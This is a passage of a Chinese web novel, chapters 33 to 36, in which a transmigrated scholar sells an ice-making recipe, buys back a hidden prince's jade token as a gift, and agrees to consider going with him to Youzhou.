陆观潮愤愤想,和季铮喝茶是很好,但前提是和季铮单独喝茶啊! 33. 第 33 章 陆观潮本不是扭扭捏捏的性子,自出生时克死亲娘,还没满月,钦天监批命一下,先帝的圣旨也紧随着跟来,恐沾染晦气给陛下,他被赶到冷宫。 对于生母,陆观潮没什么印象,宫中很少有人提起这位诞下煞星的戚才人娘娘,随行的只有一个半瞎的老嬷嬷,是戚才人身边唯一小众的奴仆。 戚才人是某个犄角旮旯的小官之女,入宫后一直身子羸弱,凭借还说得过去的容貌承宠,可惜时运不济生出陆观潮。 因此别提有母家助力了,他长大得以传信联系时,才知戚家一家子渐渐落魄死绝了。 先帝去后,陆泽大赦天下,也将陆观潮接出冷宫,准许习武习字,赵年也是那时派去做伴读的。 陆观潮开蒙晚,空有力气,写不出一手好字,在朝堂上备受排挤,往往是作为背景板出现,直到后来镇南候推举,顶上幽州主帅的位置得以脱身。 所以,在这样的环境,他向来是将就。 衣服是一扯就破的,没关系,能蔽体就成。 先生讲课敷衍,没关系,他夜间挑灯多学会就成。 大臣又阴阳怪气内涵他影响国运了,没关系,装听不见就成。 为什么在季铮这就不一样了,谁也说不准。 也许是季铮脾气格外好,而他喜欢欺负人的原因? 季铮最终还是推着陆观潮一起去了。 抵达有云茶坊,后门有打杂的小二接住他们,三人把粟米运到库房,季铮顺手捞过装冰的小罐子,直觉一会用得上。 终归不过是镇上的小店面,雇不起太多人,听小二说,有云茶坊只有他和另一位点茶娘子,姓李。 李娘子不爱出面,没活了就在房里读书,店里的力气活归小二干。 季铮隐约听见研墨的沙沙声,应就是那位点茶娘子,他问小二,“劳驾,我该怎么称呼。” 小二生得瘦瘦高高一条,连连摆手道,“大人不必客气,我是宋娘子家中表弟,叫我宋北即可。” 哦,这是店小二都雇不起。 季铮对宋有音多了些敬意,将茶楼在平头百姓间开得有声有色,果然不是容易事。 宋北将人送到地方,方才路过的屋子传来一个娘子的声音,“宋北,帮我打盆泉水来。” “我马上来。”宋北点头示意,“两位就是这了,李娘子有事,我先去忙了。” 送走宋北,季铮和陆观潮吐槽道,“真该听你的,她们是真忙,我们过来不是给人找事做了吗。” 明摆着是为了哄他说的,陆观潮却很受用。 推开门,季秧抱着酥酪吃的正香,宋有音起身迎了两步安排座位,时辰不早,又摆上饭菜点心,几人边吃饭边谈事。 安排妥当,她切入正题,“此番请季生员来,一是想收购你全部的粟米,二来,还要向你说一句谢谢。” “粟米的事不用担心。”季铮道,“娘子给钱大方,这等好买卖打着灯笼也难找,至于感谢,我就听不懂了。” 宋有音目光落到季铮提着的小陶罐上,更加坚定了心中想法,她问,“你可认得一叫沈弎的猎户?” 季铮疑惑,“认得,这和他有什么干系?” 宋有音道,“实不相瞒,我与他不算多好的关系,他昨日傍晚拿来冰给我,我一细问,原来是出自季生员的手笔,想起白日遇见的季妹妹,今日发发牢骚,一聊得知竟是你的亲妹妹。” 桌上一盘粟米糕,宋有音手艺不错,比起宫中夜宴的点心,差距不大。 陆观潮鲜少吃甜,动了几口就放下了,一言不发的关注季铮说了什么,反观季秧吃的很开心,有一搭没一搭的听两人对话。 他想,季铮将冰送给沈弎,原来是想搭上宋有音这条线吗? 可季铮是如何知道沈弎和宋有音认识的,又是怎么猜准沈弎一定会拿给宋有音? 未卜先知,陆观潮不想怀疑季铮,可季铮这么久以来所做的一切未免太离奇了。 辕犁,织机,制冰,以及脑子里各种荒唐大胆的点子。 陆观潮不信鬼神,可这一刻,他却冒出一个念头,季铮大概是天上下凡渡劫的仙官吧。 这实在是强行赋魅了,季铮也没想到还有这一出。 他是听说沈弎喜欢某个娘子来着,当时也只想正是热的时候,茶坊大都用得上冰,凭借此完成系统支线任务。 谁料阴差阳错造就了一段方便。 季铮问道,“宋娘子的意思我清楚,若能帮上忙,再好不过。” 高温还要持续一段时间,浮水镇存不了太多冰,存量根本保障不了使用量,眼下四处缺冰,而茶坊上下都需用冰,天热食材难以储存不说,光是冰饮子都是不菲的数目 有长期且稳定的冰来源,何乐而不为。 季铮日常小打小闹的制冰,一己之力无法量产,有宋有音在后一起准备原材料,效率会大大提高。 宋有音闻言笑道,“你放心,我祖上世代游商,到我这代才安顿,家底没多厚,可银子一定少不了你的。” “银子都是后话了。”季铮道,“有一点我要事先说好。” 宋有音答应,“好说。” 季铮道,“制冰的法子我不会看在面子上贱卖,报价不压,请娘子做好心理准备。” 神仙也贪二两银,陆观潮不厚道的笑了。 宋有音强扯出一个笑,“自然,交情是交情,交易是交易,这个道理我懂。” 气氛一下子生硬了几分,季秧吃酥酪的动作停下,什么交情交易,她觉得宋娘子是好人,为什么不能让一让。 之前卖给隔壁村的辕犁都便宜了,在宋有音这怎么不肯还价。 季秧不知其云,干脆抛掷脑后,等回家时季铮给她讲。 见宋有音答应下来,季铮比出三个手指。 宋有音倒吸一口气,“三百两!?” 陆观潮也吓了一跳,季铮还真敢卖。 三百两,值这个价,但在这里,恐怕没人买得起。 季铮哽住,三根手指颤巍巍的要收回,他是打算要三十两啊。 还没等季铮解释,宋有音以为他不卖了,急得拍案而起,“三百两我要。” 她一咬牙,“现在就能结。” 季铮,“……” 宋有音担心季铮反悔,匆匆叫来宋北拿钱,要和季铮当场立下字据。 季铮抱着一箱子沉甸甸的银子,被宋有音欢天喜地送出门时,脚步还是虚浮的。 还真是,爽快啊! 回忆一炷香前,季铮誊抄了一份具体过程,宋有音捧着看了一遍又一遍,爱不释手,啧啧称奇。 季铮因多拿了这么些银子良心不安,把带来的一小罐冰给宋有音,“你再看看?” 宋有音斩钉截铁,“不用验,昨日我已经见过了,真乃上上品。” “方子实操要难。”季铮道,“明日我再来亲手教你一遍,顺便把家里的粟米送来当添头 。” 宋有音咽了口唾沫,“这也要交钱?” 陆观潮略一思索,决定坑一把大的,赶在季铮开口前道“要钱。” 好一个大将军陆观潮,比人正经商人还奸。 季铮干脆跟着坐地起价,“要加钱。” 宋有音有苦说不出,她起初的那句银子一定少不了果然不假,也不知是有多厚的家底,眨眼的功夫又取来二十两银子。 陆观潮摆出遗憾状,看表情是嫌少,季铮见好就收,忙不迭收了钱。 走出有云茶坊,已将近傍晚,陆观潮问季铮,“回家吗,正好赶上晚饭。” “不了。”季铮道,“我有事,你们先回。” 陆观潮下意识道,“我和你一起。” 季铮歪了歪头,示意他看另一边,“你跟我去,让季秧自己回去。” 季秧弱弱道,“我也可以一起。” 她还想听季铮讲高价的方子的深意呢。 季铮指了指车,“三人一车,好威风啊。” 浮水镇街道并不宽敞,他们走到一块,不亚于堵路的程度。 “随你吧。”陆观潮这下无话可说了,抛下一句话背过身去。 陆观潮都这么说了,季秧便更没理由,她欲哭无泪,陆先生怎么就不再坚持坚持,万一她阿兄心软了。 盯着两人磨磨蹭蹭的离开,季铮马不停蹄的赶去吴阳镇,闭店前堪堪迈过当铺的门槛。 收拾了一半的老板也不收拾了,乐呵呵的问,“小公子赎物还是当物啊?” 季铮扶着柜台喘气,“赎。” 陆观潮那块玉符他无意间瞥见过,依稀记得样子,他说的轻巧,可被刺杀也随身带着,定是珍爱的物件。 季铮本想攒钱赎回来,可按照他那几亩地的量产,短时间没办法赎回,马上就是陆观潮生辰,他一个像样的礼物都没有。 还好宋娘子现结,他得以提上日程。 季铮缓过来问,“一块玉符,刻着朵兰花,老板有印象吗?” “有有有。”老板当即喜笑颜开,转身从密密麻麻的锦盒里挑出最精致一个,“就是这个了,小公子好运气,刚刚还有人来问。” 打开一看,正是陆观潮那一块。 季铮将宋有音给的银两大头给陆观潮,身上就带了后给的二十两,“多少钱。” 说着就要掏钱,他算了算,陆观潮卖了二两银子,涨价也顶天五两银子的事。 不想老板张口就来,“一百两。” 季铮一怔,不可置信的抬头,“多少?一百两!” 老板好脾气的重复,“一百两。” “你去大街上抢也抢不来这么多吧!”季铮怒道,“二两的东西,才多长时间,要一百两,你摸摸自己的良心。” 奸商啊! 老板合上锦盒,“这可是上好的玉料,你又不是物主,价格当然由我定,刚刚那位客人可开了一百五十两。” “一百五十两。”季铮好笑道,“你耍我玩呢,镇上孟首富也掏不出这么些现银吧。” 老板被戳穿,面色僵了一瞬,退步道,“你要给多少。” “十五两。” 顶着老板“你够狠啊”的眼神,季铮道,“十五两,我现在给钱。” 开玩笑,季铮摩拳擦掌,好久没和人杀价了,差点忘了他可是打下过,地下超市八百羽绒服一百买下的战绩。 区区一个当铺老板,不值一提。 34. 第 34 章 老板大吃一惊,“哪有你这么砍价的!” “卖不卖?”季铮道,“我可是给现银,你吹的天花乱坠,还卖一百五十两,要是那人交得起钱,我现在还能看到?” 话是不假,这一行本就有夸大其起的成分在,但这无疑不是好物件,前些时日卖家着急用钱,老板自认捡了个大便宜,高了不说,以他的见识,最起码五十两是不愁的。 他心一横拼一把抬抬价,万一遇到两个冤大头呢,事实证明,人生起起伏伏,飘不起来。 “可你这还得也太多了。”老板退了一步,“这样吧,五十两,我马上就回家了,你要是能现给这生意就成。” 季铮无情道,“十五两。” 老板不由心哽,“十五两?” “这吴阳镇一点点地方,九成的人全身家当十两银子都没有。”季铮道,“你放着又卖不出去,何必非等着落灰啊。” “你不是诚心买就别胡闹,我留着卖给开价一百五十两的公子。” 不愧是鬼精,他说出这话丝毫不脸红。 “拉倒吧,能开得起这个价,怎么可能掏不出钱?”季铮不上当,继续道,“我自然是诚心,这样吧,二十两,你带个盒子给我,咱俩各退一步。” 老板一番纠结,心都在滴血。 快成了,季铮见状,提步往外走,叹道,“看来今天是无缘,我不如去卫镇看看。” 没走出两步,身后传来声音。 “也罢也罢。”老板道,“给你算了,先说好,我要现银。” 季铮立马喜滋滋的折返回去,一手交钱一手交货,从恋恋不舍的老板手里夺来锦盒。 日头已经落下,陆观潮准备做饭,显然是四个人的量,再多半个都没办法,赵年看在眼里,一顿踌躇,转眼再看院中稳坐如山的沈弎,不知该咋么办才好。 沈弎背上挂着一坛子,手中提着两个竹编的鸡笼,笼里立着两只雄赳赳气昂昂的鸡,咕咕咯咯的叫唤。 “沈大哥。”季秧小心翼翼的叫了一声,“天不早了,夜路难走,我阿兄也许还要一点时间,你先回去吧。” 沈弎反将鸡笼攥得更紧了,他从三人到家时就在了,不知是多早来的,又在门口等了多久,执意要等季铮回来,谁也不理。 陆观潮把炒菜的铲子作弄的冲天响,也消不灭心头郁结。 季铮总爱招惹些人啊事啊,当初救自己时他就该看清楚,季铮不是让人省心的性子。 赵年凑到陆观潮身边,小声问,“殿下,季生员这个时辰还没到家,属下去找找他吧?” 陆观潮淡淡瞥了他一眼,把铲子塞给赵年,围裙也一并摘下,“我去。” “殿下,我不太会。”赵年堪堪接住铲子,刚把围裙从脸上扒开,哪里还有陆观潮的人影,早闪身出门了。 说他不会的是殿下,临阵托付的也是殿下。 赵年任劳任怨的穿上围裙。 季秧总觉得沈弎生得太魁梧可怖了,不敢再靠近,跑到赵年身边打下手,倒也缓解了燃眉之急。 这边,陆观潮走出院门,不禁胆战心惊,这般黑的夜,季铮会不会栽钩里去。 好在隔着一段距离瞧见亮光,细看模糊认出是季铮才放下心。 陆观潮站定,看季铮一路走来,剩没几步时被吓一跳。 “我去!” 季铮猛地后退,眯起眼打着灯笼看清面前人,一口气才松下,他又好笑又好气道,“陆观潮,你做什么?” 陆观潮道,“接你,去哪里了,这么久才回来?” “没干什么。”季铮嘻嘻一笑,揽着陆观潮的肩,神秘兮兮问,“你猜猜?” 烛火映照下,季铮的眸子比往日更璀璨了,明月繁星和他对比都失色。 陆观潮一心这双眼,地上的路反而看不到了,脚下一个踉跄,向季铮身上跌了下。 季铮闷哼一声,捏了把陆观潮肩膀硬邦邦的肌肉,笑道,“够结实啊,差点砸晕我。” “别乱动。”陆观潮这么说,身体却老实的不反抗,甚至弯腰以便季铮揽得轻松。 季铮伸手在衣袋摸了摸,掏出一个小盒子。 烛火随着他的动作晃动,险些熄灭,陆观潮趁机接过。 看季铮很期待他的反应,陆观潮摆了副疑惑的表情,“这是什么?” 季铮听后果然很开心,“给你的,打开看看?” “给我?”陆观潮不解,怔怔握着,锦盒用的锦布不是什么顶顶好的料子,手指刮过还勾丝。 不年不节的,季铮干嘛给他送东西? 在季铮眼神催促下,陆观潮迟疑的打开。 季铮道,“我不知道该送你什么了,便宜的你又看不上,贵的我也囊中羞涩,思来想去,只有这个最合适了,这本是你的东西,看样子不便宜,因为我卖了怪不好意思的。” 陆观潮没说话,季铮继续絮絮叨叨道,“我和你讲,那当铺老板可真黑心,你当掉就换了二两银子,我买回来要我一百五十两银子!” “你给了?”陆观潮闷声问。 “当然没有啊,我又不傻。”季铮迫不及待的分享心得,“钱不是你们带回家嘛,一百五十两,我砍到二十两,牛不牛?” 陆观潮听不懂“牛”是什么意思,但还是附和着点头道,“牛。” 季铮抿唇,歪头看陆观潮的表情,心中叫哀。 面无表情,怎么能是面无表情啊! 惨了惨了。 这是送礼物没送到人喜欢的,仔细想想也是,哪有人喜欢的礼物会是自己的。 季铮啊季铮,你这脑子还是捐了吧,反正能想出这么损的招,也不值几个钱了。 季铮顿觉一张脸无地自容,“不喜欢不必勉强,我额外给你别的。” “谢谢。”陆观潮收起玉,低着头道,“我喜欢,不用再准备了。” 季铮以前听说女人心口不一,当时很不赞同这句话,在他看来,男人和女人一样,都会口是心非。 什么鬼的喜欢,这样子明明就是不喜欢。 快到家门口,季铮放开陆观潮,轻咳一声,道,“你做饭了吗?” 陆观潮张嘴还没出声,就听沈弎道,“季生员!” “沈弎?”季铮惊奇道,“你怎么来了?” 沈弎刷得站起,抱着鸡笼冲到季铮身边,“给你的,你要的,谢谢。” 季铮笑了,“我向你要东西,你说什么谢谢,该是我谢谢你。” 他提起笼子看了看,足够健壮,看起来就有劲。 沈弎又把背着 的坛子给季铮,“灰。” “哦哦,好。”季铮放下鸡,又打开坛子看草木灰,“难为你这么晚跑一趟,留下吃个晚饭吧。” 沈弎连连摆手,“不用!我吃得多。” “没做他的饭。”陆观潮撂下一句话,拿起东西径直回家。 院里季秧双手合十拜了拜。 ——不是不做,是实在不敢违抗陆先生啊! 季铮,“……” “没事。”沈弎挠挠头,“我是送鸡,不是吃饭,季生员你吃吧,我要走了。” 季铮别无他法,眼睁睁的看人离开。 饭桌是气氛不算尴尬,赵年知道制冰的方子被卖了,可惜的就差涕泗横流,听季秧说卖了三百二十两,两眼放光。 “你你你你们今天搬回来的箱子里放的是银子?!” 季秧兴奋的点头,“对啊,是不是特别沉!” 赵年激动的饭也出不下了,只想抱着银子数一数。 饶是主子是亲王,他也没真真切切的见过三百两。 三百两啊,怕是在大都卖套两进的宅子都有余吧! 季秧劲头刚过,再次被赵年牵动起来,两个人嘻嘻哈哈的讨论要如何挥霍。 季铮时不时跟着闹几句,陆观潮一味吃饭,仿佛和他没关系。 他的确是这样想的,法子卖了再多钱那也是季铮的,和他没有关系。 就像是季铮一点不亏欠他,卖了钱马不停蹄就把他的东西赎回来一样,即便加价十倍也不愿和他有牵扯。 他们本就是萍水相逢的缘分,何必要求过多。 季铮连二两银子的瓜葛都不留,倘若他来日掳走季铮,会弄巧成拙,反让季铮厌恶幽州吧。 陆观潮在犹豫,犹豫怎么和季铮关系亲近,亲近到季铮心甘情愿陪他一起去幽州。 向来只考虑杀敌军将领是割头更具威慑力,还是分尸更印象深刻的珏王殿下,也有今日。 陆观潮摩挲着玉符,触感温润。 这玉符是他母妃留下的,嬷嬷躲过搜查得以保全,用来联系母家的,不过没派上用场。 毕竟是母妃唯一的遗物,陆观潮舍不得随意放置,一直以来带在身边,就和虎符放在一处。 若不是身份金牌用去伪造尸体了,他还能剪一角换钱,不至于动此物。 陆观潮正发着呆,季铮推门而入,带进来一小片月光,他听出是季铮,于是没抬头,只把玉符收好。 “陆观潮?”季铮合上门,一阵香味飘来。 下一秒一盘金黄酥脆的食物怼到脸上。 陆观潮问,“这?” “吃的。”季铮做到他身边,“看你一个劲的吃也没吃多少,依你的胃口肯定没饱,偷偷给你开小灶,小点声,别被发现了。” 陆观潮直愣愣的看季铮,“为什么?” 季铮塞了一块到陆观潮嘴里,“还能是为什么,关心你啊。” 他又问,“好不好吃?” 甜滋滋的。 陆观潮眨了眨眼,不轻不重“嗯”了一声。 季铮道,“礼物是我不对,就当是礼物之一,你有其他想要的吗?” 想要你, 和我去幽州。 这时说出口,岂不是趁人之危? 35. 第 35 章 陆观潮答非所问“这是什么?” 金灿灿的,油香四溢,尝起来却没有什么油腥味,酥脆可口,带着些咸香味。 “这个啊。”季铮兴致勃勃的介绍道,“馒头切片,裹上蛋液,油锅下八角桂皮炒香,煎到表面金黄捞出,再添油复炸,出锅撒盐巴。” 陆观潮奇怪道,“药材也能做调料?” “自然。”季铮道,“以药入食,还能补身。” 陆观潮看着那盘炸馒头片,又道,“有趣,可食材昂贵,耗油太多,寻常人家负担不起。” 季铮点了点头,“的确,不过是为了你才做,这道菜耗油虽多,但剩下的油亦可以用来炒菜,可惜大多人日常饭菜里也不放油,只有逢年过节才舍得尝一尝吧。” 他自诩没有一颗圣人心,在这个世道,能护好自己一家人已是万幸。 可他毕竟是一个人。 有血有肉,有情有义的人。 只要是人,就会怜悯,就会共情,就不免会为苦难悲痛。 季铮做不到“大庇天下寒士俱欢颜”,没有“居庙堂之高则忧其民,处江湖之远则忧其君”的志向,他只想如果能让世人过的好一点,再好一点。 不愁吃穿,安居乐业。 这该多好,这该多难。 季铮默了一会,末了叹出一口气,仿佛下了什么决定,对陆观潮说,“我会考虑,和你去幽州。” “什么?” 陆观潮脑子一懵,瞬间有人在他脑海里嗡嗡敲打一口大钟,一时以为是日思夜想魔怔了。 季铮接着道,“我会认真考虑一下,说到底我也只是一介凡人,没通天的本事,能不能帮上忙就另说了。” “你说真的?”陆观潮依然没有反应过来,下意识问出来。 得到准确答案,随之而来的是狂喜,整颗心都疯了似的跳动,宛如跳完这一晚就会停止,所以要更猛烈更热烈的跳上一会。 季铮说罢,想起了什么,问道,“你是因为我送的礼物不合心意生气吗?我明日去给你换一个成不成。” “不重要了。”陆观潮笑着摇了摇头,“我现在很欢喜你送的礼物。” 他知道,季铮并不是不在意他,所以一切都不重要了。 次日,陆观潮和季铮两人收拾好最后一车粟米,去镇上找宋有音。 临走前,季铮借口拿东西戳开系统,【可以发放任务三的奖励了吗?】 这几天太忙,他差点忘了,自己的奖励还没来得及领取。 【^v^好的,这就为您打开。】 升级后的系统比起第一版本,并没有什么特别的地方。 其一,是可以提前查看下一次任务部分信息。 比如,季铮手指滑动两下,根据只言片语,总结出任务五大概有关名声值,类似支线任务的好感任务,区别是范围扩大,至于奖励,季铮只看一眼,忍不住激动万分。 盐。 有糖有冰,再来农具和盐,下一步是什么,一地富豪,加官进爵? 种田系统,种的是哪的田,全大周的田吗! 季铮忙甩甩脑袋把这个念头甩出去,不是想这个的时候。 其二,则一些可有可无的颜文字,虽说灵动了不少,但系统声线依旧干巴巴,配上表情,极其违和。 不一会,系统顶着笑脸弹出对话框,【任务三已完成,奖励翻车成功发放,祝宿主生活顺意~】 季铮趁此查看任务四的进度,伴着系统五毛钱音效,面板如同PPT滚动入场。 【很抱歉,除支线任务外,主线任务以及隐藏任务,无法查看进度哦亲tvt.】 一闪一闪的彩花礼炮被季铮无情叉掉,好没用的升级。 季铮揣好翻书图纸,又在桌案一堆草纸里找到要拿的东西,出门和陆观潮汇合。 出门一看,陆观潮才好了一晚不到的脸色格外怪异,不是以往那种别扭,难过,冷冰冰,而是夹杂着委屈和几分苦笑的复杂情绪。 季铮心里咯噔一下,看到一边心虚的季秧,以及哭丧着脸的赵年,不安感更甚。 他哈哈两声,“这是怎么了?” 陆观潮淡淡扫过他,“没什么事。” 嘴上说的爽快,可真当两人上路,陆观潮忽地在季铮耳边念叨了一句,“偷偷给你开小灶。” “……”季铮一梗,“你听我解释。” 陆观潮嘴角噙着笑,又道,“不过是为了你才做。” 季铮摆出投降状,“别笑了,我真错了,烧柴起锅那么大动静,怎么可能不被发现,既然发现了,怎么可能不分一分?” 他昨夜明明和赵年季秧说好了,今日不可在陆观潮面前说漏了,不然按陆观潮的脾气,保不齐会气多久。 这俩孩子啃馒头啃得津津有味,答应得振振有词,是什么也不入耳,咋进的咋出去。 陆观潮笑够了,道,“我没说你错了。” 季铮问,“你不生气?我可是骗你了啊。” “为何要生气?”陆观潮道,“我骗你的时候也没见你生气。” 季铮若有所思,“这倒也是,仔细想来我亏大发了,给你吃给你住,还不收钱,不行不行,你来日不给我弄个官坐坐,都对不起我。” 陆观潮一一应是,反问,“你笃定我会位归原职?” “笃定说不上。”季铮道,“你不也说了,幽州只能你来管,何况这么长时间以来,你一直和外界有联系,想来是会找时机回去的,自知之明我还是有点,这又不是金窝银窝,珏王殿下身份尊贵,必是不会久住。” 陆观潮叹道,“有你在,这里怎么就不是金窝银窝。” 季铮眨了眨眼,心头漏了一拍。 这话,听起来怪怪的。 陆观潮什么意思。 顿了顿,陆观潮反应过来不对劲,他轻咳一声,耳尖火辣辣的,却不知说什么补救了,干脆别过头不说话,就这样沉默。 一路走到浮水镇,街上行人熙熙攘攘,季铮跟在后面,被撞得歪了半边身子,陆观潮推车的空隙,伸手将季铮拨到自己身边,气氛才缓和回来。 有云茶坊歇业两日,今日再怎么说也得开门,两人来的早,正是闲人吃早点的时间,茶坊里忙的热火朝天。 季铮终于见到宋北口中点茶的李娘子了,女娘坐在纱帐之后,垂着头看不清面容,只看到手中动作忙碌不休。 他拉着陆观潮找了个角落坐下,没好意思给李娘子增加工作量,点了两盏不麻烦的清茶,一份现成的点心。 宋北哼哼哈哈的记完,抬头认出他们,就要喊后厨同样忙得脚不沾地的宋有音,被季铮拉住,无奈去干活了。 茶点上桌,宋北不做声,多给了一份果子。 陆观潮在外不大爱吃东西,也不知道是否是在维持形象,抿了口茶水道,“宋娘子的钱,你要怎么处置?” “攒着吧。”季铮思索一会,道,“我没有要添置的物件,再说,咋一购入太多,难免被人盯上,还是存起来更稳妥。” 陆观潮点头道,“的确,银票价值起伏不定,白银更稳妥些。” 大周银票白银皆在市场流通,但银票出现时间不长,可变因素太多,因战乱局势变化而变化,大部分店家给喜欢收白银,这也是季铮能砍价成功的原因。 毕竟银票能大批印刷,白银不能造假。 季铮自嘲道,“原来有钱人也有烦恼。” “与其说是烦恼,不如说是贪婪。”陆观潮道,“有一文钱就想要十文钱,有一两银子就想要十两银子,舍不得花,舍不得碰,成天提心吊胆,生怕有人会来偷。” 季铮握着茶杯的手颤了颤,“我觉得你在说我,可我没证据。” 陆观潮微微蹙眉,“我没有说你。” 他傻了才会说季铮,季铮都如此完美了,哪里能挑出刺来? 在陆观潮眼里,别人攒钱是贪心不足,季铮攒钱是明智之举,两者是不一样的。 “好吧。”陆观潮道,“我的话有歧义,我收回。” 季铮默默的怀疑了一下自己语言理解能力。 等到高峰期过去,店里没剩下几个人了,宋有音自后厨出来,一眼锁定季铮。 “季生员。”宋有音胡乱擦了一把手,摘下围裙迎过来,“你们等多久了?” 陆观潮一脸认真,“两个时辰。” “哈哈哈。”季铮打断道,“不久不久,吃盘点心的功夫,占了位置实在过意不去。” “季生员真客气。”宋有音叫来宋北,“啪”地朝人背后拍了一巴掌,“人来了为什么不和我说。” 宋北抱着盘子,不知所云的“啊?”了下。 季铮赶紧说,“是我怕耽误生意没让宋公子说的,宋公子还送了餐食,宋娘子莫气。” “宋姐姐。” 一边点茶的李娘子掀帘出来,漫不经心的靠在桌边,边活动手腕边道,“宋北都老大不小了,你别像训鸡崽子似的训他了,来日新妇一打听,谁敢嫁他。” 没了纱帘遮盖,季铮可算看到这位姑娘的脸了。 李娘子生得是漂亮,不像是商贾人家的漂亮,更像是大都勋贵家深闺里的小姐,眉目清清凉凉的,要说宋有音是华丽的美,那这李娘子是古典的美。 只不过姑娘很有性子,瞧上去不染纤尘,话里倒不藏锋利。 宋有音回头,埋怨的话说出来软了嗓子,“你就向着他吧。” 李娘子揪着衣袖玩没回话。 宋有音将后厨活安排给李娘子,领着两人回后院。 季铮顺道把粟米送到,道,“这是最后一些了,就不要你钱,当添头算了。” 许是宋有音出了回血,也不再推辞。 有云茶坊生意好,季铮早听药铺大夫说过,今日一见,才知这生意好到底好到了什么地步。 若是十个人里面有一个要冰饮子,那这一上午就要消耗十斤,且不说正午热时,岂不会更多。 怪不得宋有音肯高价卖法子。 原材料宋有音提前准备齐了,也难为她了,这么难寻的奇怪东西都能被她找来。 季铮边讲解便演练的给宋有音看了一遍,又看着她自己来了一遍,才放下心。 末了,宋有音看着沉入井底的坛子,问,“成了?” 季铮道,“不错,等一天以上你再取出即可。” “神奇神奇。”宋有音啧啧称奇,“这法子毫无根据,前后压根不搭边,原材料也平平无奇,我初看方子时,是一点也研究不出,还就做出来了,生员不愧是生员。” 季铮笑笑,“不敢当。” 陆观潮很爱听这类夸奖季铮的话,勉强露出一个好脸色。 宋有音继续说,“季生员,你有没有想过,做大生意?” 她说起这话,眼睛亮亮的,期待的望向季铮。 季铮眉头一挑,“请说?” 宋有音道,“将店开到大都,开到杭州,开满全大周,和朝廷做生意。” 这是邀请他入股的意思了? “和朝廷?”陆观潮冷嗤道,“可不是那么简单的。” 陆泽眼皮子浅,容不下手上沾染铜臭味。 宋有音瞅了眼季铮,“这不是有季生员吗。” 陆观潮在季铮开口前道,“季铮来日右迁为官,不能和商贾扯上关系。” 季铮夹在中间,“我没说我一定要做官啊。” “?”陆观潮歪了歪头,很是不解。 陆观潮这人,玩笑话和正经话分不清楚,季铮心累,以后找时间一定要和陆观潮说清楚。 季铮先把陆观潮拉到身后,郑重对宋有音道,“我还没考虑这么远,不过确有一物,兴许可以帮上宋娘子。” 宋有音来了兴趣,“何物?” 季铮和宋有音聊了许久,左右不过是行商经验,运输货物,朝廷新规,久到陆观潮都没耐烦了,好不容易告一段落。 宋有音有意留季铮两人吃饭,可惜店里来了一波人实在走不开,最终作罢。 出门时,陆观潮问季铮,“你和她说的,要叛卖的东西是什么?” 季铮觉得好笑,他们说的尽兴,免不了想起什么乱说什么,陆观潮不懂这些,跟不上他们的思路,就这样也没发脾气,看来陆观潮今天心情貌似很好啊。 他正要再讲一遍,路过一家酒肆,一道声音钻进他耳里。 “那珏王要下葬了。” 珏王,下葬。 季铮转头看向珏王殿下本人。 你要下葬了。 36. 第 36 章 正在“阴曹地府”的珏王陆观潮面色僵硬。 他曾经听习惯这些话,也早预料到,自己会死后会有多少人幸灾乐祸,吹锣打鼓的庆祝,所以真有人在耳边说起,并不觉得膈应。 这时候心底那一点点别扭,不过是因为季铮罢了。 饶是他再不在乎,但在相熟的人面前,难免会因自己不受欢迎而不自在。 季铮倒也不是多爱看八卦的人,不过事关陆观潮,按这人的毛病,肯定不会和他说自己的事情。 他想多了解一些,于是拉着陆观潮,寻了个角落的位置坐下,悄悄听一耳朵。 酒肆没几个人,飘着的酒味呛人,隔壁一桌人红着脖子,显然是喝高了,一边往嘴里塞肉,一边大言不惭的议论珏王。 店小二上了一壶酒,一些吃食,接着听到那桌人吵嚷着加酒,摆了个苦脸,匆匆去忙。 季铮端起酒碗喝了一口,这个时代的酒大多不纯,四五度的样子,放到之前连酒都算不上,季铮都当饮料喝。 穿越来换了一具身体,季铮不知道原身酒量如何,没敢多喝。 小二专程返回来道歉,添了一道小菜,称这几人是镖局的,每个月路过浮水镇在此歇息,吵闹了些,请他们不要介意。 季铮表示理解,人走后,陆观潮和他讲,战局不稳,百姓表面安定,实则劫匪已有苗头。 大都传来消息,最近有一批匪头子,因没争过地盘,意图往云州来。 土匪便如三月春草,烧不完,除不尽,收拾了一波还有一波,彻底结束战事前拿他们没办法。 陆泽被一些事绊住脚,来不及处理这档子事,看样子是打算装不知道了。 镖局多是彪悍的习武之人,在这里歇脚,变相收收保护费,土匪得知这店有人照应,便不会硬碰硬,实属常事。 这么看来,这家酒肆老板极有先见之明,能想到这一步,看来不简单,季铮暗暗记下了。 “要说这珏王,你们知不知道他之前有过亲事。” “亲事?这倒是新鲜,你从哪听来的,我没听说过。” 季铮瞥向陆观潮,眉眼带笑,打口型道,“你还仪过亲啊?” 陆观潮很想捏住季铮的嘴,不叫他乱说这些不合礼仪的事,最终也没伸出手,只干巴巴的说了句,“别听他们乱说。” “我表兄在宫中当值,他年前回乡,亲口给我说的。” 为首的大汉一脸横肉,有一道贯穿眉骨到嘴边的疤痕,其余的人与他相谈甚欢,但态度若有若无的敬畏,想来是这群人的头头。 伴着一阵阵唏嘘声,大汉接着道,“你们是不知道,那姑娘好歹也是大官独女,说是貌美如花,琴棋书画样样精通,陛下下旨许给了珏王。” 姑娘年纪小,官老爷想再养几年,可不知怎地,自大婚约一下,姑娘的身子一日不一日,最后到了缠绵病榻,无法下地,只得去寺庙静养的地步。 官老爷心疼闺女,请了大师,大师看了风水,看了阴阳,最后怎么找。 夫家克妻。 珏王再不受重视那也是殿下,官老爷哪敢宣扬,可惜消息没瞒住,传到陛下耳里。 趁着珏王不在大都,陆泽没过问人的意思,当即下旨取消了婚事,那之后,姑娘的身子又好了起来。 如今不仅嫁了人家,孩子都生俩了。 季铮听得聚精会神,忍不住凑近陆观潮问他,“是真是假,真这么玄乎?” “假的。”陆观潮马上道出,可解释的话左思右想都不合适,哽在喉间不知从何说起。 季铮再问,陆观潮就不说话了,一言不发的端起酒杯,喝酒当喝水了,一口一口的喝闷酒,不一会喝完一小壶。 季铮觉得新鲜,这事竟对他打击这么大,又加了两壶,看陆观潮能喝多少。 两壶下去,也不见陆观潮有表示。 季铮忽又觉得很不舒服,空落落的,像有人从他心里掏出一半似的。 “哎。”季铮戳了下陆观潮,压低声音问,“你到底是多喜欢那姑娘啊。” 能让最严肃冷漠,冷面矜持的陆观潮这样失态,那位姑娘必定是顶顶好吧。 他声音太小,陆观潮脑袋晕晕听不清楚,半晌,等陆观潮找到合适的回答,猛地把酒壶重重放到桌上,吓得季铮心跳突突跳。 还没开口,这动静引起大汉一桌人的注意。 